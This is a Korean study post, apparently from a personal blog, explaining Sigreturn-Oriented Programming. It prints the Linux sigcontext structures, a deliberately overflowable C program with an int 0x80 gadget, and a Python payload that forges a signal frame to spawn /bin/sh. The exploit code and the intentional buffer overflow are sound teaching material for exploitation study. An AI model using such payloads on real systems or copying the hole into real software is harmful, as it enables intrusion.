반응형


개념


ROP의 변종이며 많은 가젯의 필요없이 int 0x80가 있으면 되는 공격기법이다.


syscall 번호는 119번이며 eax(rax)로 호출된다.



설명

struct sigcontext {
        unsigned short gs, __gsh;
        unsigned short fs, __fsh;
        unsigned short es, __esh;
        unsigned short ds, __dsh;
        unsigned long edi;
        unsigned long esi;
        unsigned long ebp;
        unsigned long esp;
        unsigned long ebx;
        unsigned long edx;
        unsigned long ecx;
        unsigned long eax;
        unsigned long trapno;
        unsigned long err;
        unsigned long eip;
        unsigned short cs, __csh;
        unsigned long eflags;
        unsigned long esp_at_signal;
        unsigned short ss, __ssh;
        struct _fpstate *fpstate;
        unsigned long oldmask;
        unsigned long cr2;
};
struct sigcontext {
        unsigned long r8;
        unsigned long r9;
        unsigned long r10;
        unsigned long r11;
        unsigned long r12;
        unsigned long r13;
        unsigned long r14;
        unsigned long r15;
        unsigned long rdi;
        unsigned long rsi;
        unsigned long rbp;
        unsigned long rbx;
        unsigned long rdx;
        unsigned long rax;
        unsigned long rcx;
        unsigned long rsp;
        unsigned long rip;
        unsigned long eflags;           /* RFLAGS */
        unsigned short cs;
        unsigned short gs;
        unsigned short fs;
        unsigned short __pad0;
        unsigned long err;
        unsigned long trapno;
        unsigned long oldmask;
        unsigned long cr2;
        struct _fpstate *fpstate;       /* zero when no FPU context */
        unsigned long reserved1[8];
};

첫번째는 32bit, 두번째는 64bit 환경에서 sigcontext.h(경로는 /usr/include/x86_64-linux-gnu/asm/)다.


SigReturn를 호출하게되면 스택에 넣었던 값들이 차곡차곡 레지스터에 들어가게 된다.


아래와 같은 소스코드를 컴파일(64bit) 후에 Exploit해보자.



#include <stdio.h> char binsh[] = "/bin/sh\x00"; void gadget(){ asm("int $0x80"); } void main(){ int buf[4]; read(0, buf, 1295); }


read함수에서 1295는 헥스값으로 050f이고 이걸 리틀엔디언으로 보게 되면


0f 05 인데, 이건 64환경에서 syscall 명령이다.(pwnable.kr 문제 힌트기도 하다.)


어쨋든,..



생각을 해보자.


먼저 read함수는 입력받은 길이를 eax에 리턴해준다. syscall에서 eax를 보고 실행한다는 건 아까전에 말해서 알고 있을 것이다.


또, 가젯은 주어져있고 따로 구할 필요가 없다.


페이로드는 아래와 같이 짜면 될 것 같다.



import struct


p = lambda x : struct.pack("<Q", x)

p32 = lambda x : struct.pack("<L", x)


gadget_80 = gadget함수의 asm 주소

binsh       = binsh 문자열 주소


payload   = ""

payload += "A" * 16

payload += "B" * 8

payload += p(gadget_80)

payload += p(0) * 11

payload += p(binsh)

payload += p(0)

payload += p(0x0b)        # excve Syscall number

payload += p(0)

payload += p(gadget_80)

payload += p(0)

payload += p32(gdb에서 본 cs값)

payload += p32(gdb에서 본 gs값)

payload += p32(gdb에서 본 fs값)

payload += p32(0)


print payload


'공부' 카테고리의 다른 글

[how2heap] first_fit  (0) 2016.12.25
libc randomization disable  (7) 2016.12.10
gs 베이스 주소 구하기  (0) 2016.05.09
[Codegate] 주저리  (0) 2016.05.06
[pwnable.kr] 주저리  (0) 2016.02.25
블로그 이미지

KuroNeko_

KuroNeko

,